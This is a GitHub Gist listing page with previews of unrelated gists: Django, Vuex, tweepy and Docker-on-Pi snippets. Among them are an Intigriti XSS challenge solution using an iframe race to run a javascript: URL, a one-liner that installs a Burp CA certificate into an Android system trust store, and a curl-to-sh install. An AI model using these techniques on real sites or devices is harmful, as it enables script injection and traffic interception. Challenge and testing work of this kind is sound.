Skip to content

Instantly share code, notes, and snippets.

@Romern
Romern / spatula-examples.md
Last active February 8, 2023 08:11
Goog-Spatula Header Stuff
@radekk
radekk / rc.html
Created November 25, 2019 11:33
Intigriti XSS challenge solution 11.2019 - Race Condition
<html>
<body>
<iframe id="ifr"></iframe>
<script>
var ifr = document.getElementById('ifr');
ifr.src = 'https://challenge.intigriti.io/#https://intigriti.io';
ifr.onload = () => {
setTimeout(() => {
ifr.src = 'https://challenge.intigriti.io/#javascript:alert(document.domain)';
@vavkamil
vavkamil / android-burp-cert.sh
Created September 10, 2019 14:47
One Liner For Installing Burp Certificate Into Android Nougat and Later
# https://securitychops.com/2019/08/31/dev/random/one-liner-to-install-burp-cacert-into-android.html
#
curl --proxy http://127.0.0.1:8080 -o cacert.der http://burp/cert \
&& openssl x509 -inform DER -in cacert.der -out cacert.pem \
&& cp cacert.der $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 \
&& adb root \
&& adb remount \
&& adb push $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /sdcard/ \
&& echo -n "mv /sdcard/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /system/etc/security/cacerts/" | adb shell \
&& echo -n "chmod 644 /system/etc/security/cacerts/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0" | adb shell \
@elevenchars
elevenchars / fridanotes.md
Last active June 7, 2024 11:14
My notes on injecting a frida gadget into an apk
#!/usr/bin/env python3
import asyncio
import time
import aiohttp
START = time.monotonic()
@rluts
rluts / token_auth.py
Last active October 13, 2023 20:56
Token authorization middleware for Django Channels 2
from channels.auth import AuthMiddlewareStack
from rest_framework.authtoken.models import Token
from django.contrib.auth.models import AnonymousUser
from django.db import close_old_connections
class TokenAuthMiddleware:
"""
Token authorization middleware for Django Channels 2
"""
@jhkueh
jhkueh / vuex-deep-nested-objects.md
Created February 9, 2018 04:49
vuex deep nested objects

Vuex and Deep Nested Objects


Vue.js provides a good example for working with deep nested objects or tree data structures. But, how about when Vuex is involved?

Fortunately, Evan You (Vue.js' creator) gives us a hint:

...Or, you can use the same flat structure and use ids to reference nested items, and use a Vuex getter in each tree item component to retrieve its children.

So, how do we go about doing that? After a few attempts getting nested objects' reactivity to work, here is what I did.

#Setting up Docker Machine on Raspberry PI

  1. SSH into the pi and install docker with curl -sSL https://get.docker.com | sh (If we let Machine try to install the Docker daemon it will fail.)
  2. Change the OS's ID so Docker Machine won't throw errors. sudo nano /etc/os-release and change the line that says ID=raspbian to ID=debian
  3. From a new terminal window run docker-machine create --driver generic --generic-ip-address YOUR-PIS-IP --generic-ssh-key ~/.ssh/id_rsa --generic-ssh-user pi --engine-storage-driver overlay2 MACHINE-NAME
@AparaV
AparaV / streamer.py
Last active July 22, 2021 16:22
Using the tweepy library to stream tweets has a catch. There is no built-in feature that allows you to stop streaming after a fixed time. To avoid manually terminating the stream, this code proposes a simple solution without any (complex) multi-threading.
import os
import time
import tweepy
from tweepy import OAuthHandler
from tweepy import Stream
from tweepy import StreamListener
def authenticate():
anonymous
anonymous / pycdump.py
Created November 10, 2015 17:19
Dump .pyc file (Python 3.5 version)
#
# read a .pyc file and pretty-print it
#
# copied from http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
# and updated to Python 3.5 (Nov 10th 2015)